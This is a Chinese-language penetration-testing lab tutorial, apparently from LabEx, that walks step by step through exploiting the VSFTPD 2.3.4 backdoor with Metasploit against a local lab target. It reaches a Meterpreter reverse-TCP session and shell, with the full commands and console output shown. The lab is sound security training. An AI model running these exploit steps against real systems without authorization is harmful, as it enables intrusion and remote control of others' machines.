介绍
欢迎来到使用 Metasploit 进行渗透测试的世界!Metasploit 框架是一款功能强大的开源工具,被网络安全专业人员广泛用于探测网络和服务器中的漏洞。
在本实验中,你将完成一个经典且直接的漏洞利用过程。我们搭建了一个模拟环境,其中运行着一个存在漏洞的 VSFTPD (Very Secure FTP Daemon) 版本,具体为 2.3.4 版本。该特定版本包含一个被秘密植入源代码中的著名后门。
你的目标是使用 Metasploit 控制台 (msfconsole) 来查找、配置并启动针对该服务的漏洞利用,从而在目标系统上获得命令 shell。通过这次实践练习,你将掌握使用 Metasploit 执行简单漏洞利用的基本工作流程。
让我们开始吧!
使用 use exploit/unix/ftp/vsftpd_234_backdoor 选择易受攻击的服务漏洞
在此步骤中,你将启动 Metasploit 控制台,并为 VSFTPD 2.3.4 后门选择合适的漏洞利用模块。msfconsole 是 Metasploit 框架的主要交互界面。
首先,启动 Metasploit 控制台。我们将使用 -q (quiet) 参数来跳过启动横幅,从而加快启动速度。
msfconsole -q
控制台加载完成后,提示符将变为 msf >。现在,你需要告诉 Metasploit 你想要使用哪个漏洞利用程序。use 命令用于加载特定的模块。VSFTPD 2.3.4 后门的模块位于 exploit/unix/ftp/vsftpd_234_backdoor。
在 Metasploit 控制台中执行以下命令:
use exploit/unix/ftp/vsftpd_234_backdoor
运行该命令后,你会注意到提示符发生了变化,包含了所选漏洞利用模块的名称。这表明该模块现已激活,并准备好进行配置。
根据你的 Metasploit 版本,系统可能会自动选择一个默认的 payload(例如 cmd/linux/http/x86/meterpreter_reverse_tcp)。该 payload 需要两项设置:
- LHOST - Metasploit 监听反向连接的 IP 地址。在本实验中,请使用
127.0.0.1:
set LHOST 127.0.0.1
- Encoder - 默认的编码器可能会失败,并提示「All encoders failed to encode」。将编码器设置为
generic/none以避免编码:
set Encoder generic/none
使用 set RHOSTS target_ip 设置目标 IP
在此步骤中,你将通过设置目标主机的 IP 地址来配置漏洞利用程序。大多数 Metasploit 模块都要求你指定一个目标。远程目标主机的选项是 RHOSTS。
由于易受攻击的 FTP 服务运行在你当前所在的机器上(我们的实验环境),你可以使用回环地址 127.0.0.1。
要设置此选项,请使用 set 命令,后跟选项名称 (RHOSTS) 及其值 (127.0.0.1)。
在你的 msfconsole 中输入以下命令:
set RHOSTS 127.0.0.1
Metasploit 将通过打印该选项及其新值来确认设置。
RHOSTS => 127.0.0.1
现在,你已经告诉 Metasploit 将攻击指向何处。
使用 show options 验证漏洞利用选项
在此步骤中,你将在启动漏洞利用之前,验证所有必需的选项是否已正确设置。这是确保漏洞利用程序配置得当的关键最佳实践。
show options 命令会显示当前加载模块的所有可配置选项、它们的当前设置以及它们是否为必需项。
在你的 msfconsole 中运行以下命令:
show options
你将看到一个列出模块选项和 payload 选项的表格。
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
...
观察输出结果。确保 RHOSTS 为 127.0.0.1,LHOST 也为 127.0.0.1。RPORT 应为 21 (FTP)。在设置好所有必需选项后,你就可以继续下一步了。
使用 exploit 命令执行漏洞利用
现在漏洞利用程序已经配置完毕,你将针对目标执行它。exploit 命令(也可以简写为 run)会根据当前模块和设置发起攻击。
输入以下命令并按回车键,执行漏洞利用:
exploit
故障排除:如果你看到
Msf::OptionValidateError One or more options failed to validate: LHOST,请运行set LHOST 127.0.0.1。如果你看到All encoders failed to encode,请运行set Encoder generic/none来禁用编码。之后再次运行exploit。
警告:第一次尝试可能会失败,并提示 "Unable to connect to backdoor on 6200/TCP. Cooldown?" 或 "Exploit completed, but no session was created."。如果出现这种情况,只需再次运行
exploit命令即可——第二次尝试通常会成功。
Metasploit 现在将尝试利用后门。你将看到详细描述攻击步骤的输出信息。如果成功,它将触发后门并开启一个 Meterpreter 会话。
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
重要提示:漏洞利用成功后,你将进入 Meterpreter 提示符界面。这意味着你已成功获得远程访问权限!你可以运行 shell 进入交互式命令行界面,然后运行 whoami 或 id 来确认你已获得访问权限:
shell
Process 1234 created.
Channel 1 created.
whoami
labex
恭喜你,你已经成功获得了远程访问权限!
使用 sessions -l 检查会话
在此步骤中,你将学习如何管理刚刚打开的活动连接或「会话」。Metasploit 允许你同时打开多个会话并在它们之间切换。
首先,要返回 msfconsole 提示符而不关闭会话,你需要将其置于后台。按下键盘上的 Ctrl+Z。如果你在 shell 中(运行 shell 之后),输入 y 将通道置于后台——你将返回到 meterpreter >。再次按 Ctrl+Z,并在提示时输入 y 将会话置于后台:
Background session 1? [y/N] y
msf exploit(unix/ftp/vsftpd_234_backdoor) >
sessions 命令仅在 Metasploit 主提示符 (msf exploit(...) >) 下有效,在 Meterpreter 内部无效。你现在已回到 Metasploit 主提示符。要查看所有活动会话的列表,请使用带有 -l (list) 参数的 sessions 命令。
sessions -l
这将显示所有后台会话的表格,包括它们的 ID、类型和连接信息。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
你可以看到你的会话 ID 为 1。如果你想再次与它交互,可以使用命令 sessions -i 1。这种会话管理是 Metasploit 的一项关键功能。
总结
恭喜!你已成功完成本实验,并使用 Metasploit 框架执行了你的第一次漏洞利用。
在本实验中,你学习了使用 Metasploit 进行渗透测试的基本工作流程:
- 启动 Metasploit 控制台 (
msfconsole)。 - 使用
use命令选择特定的漏洞利用模块。 - 使用
set命令配置模块的目标。 - 使用
show options验证配置。 - 使用
exploit命令启动攻击。 - 使用
sessions管理产生的连接。
这种「选择、配置、利用」的基本模式是你未来在 Metasploit 中执行几乎所有活动的基础。现在,你已具备核心知识,可以去探索更复杂的漏洞利用和 payload 了。



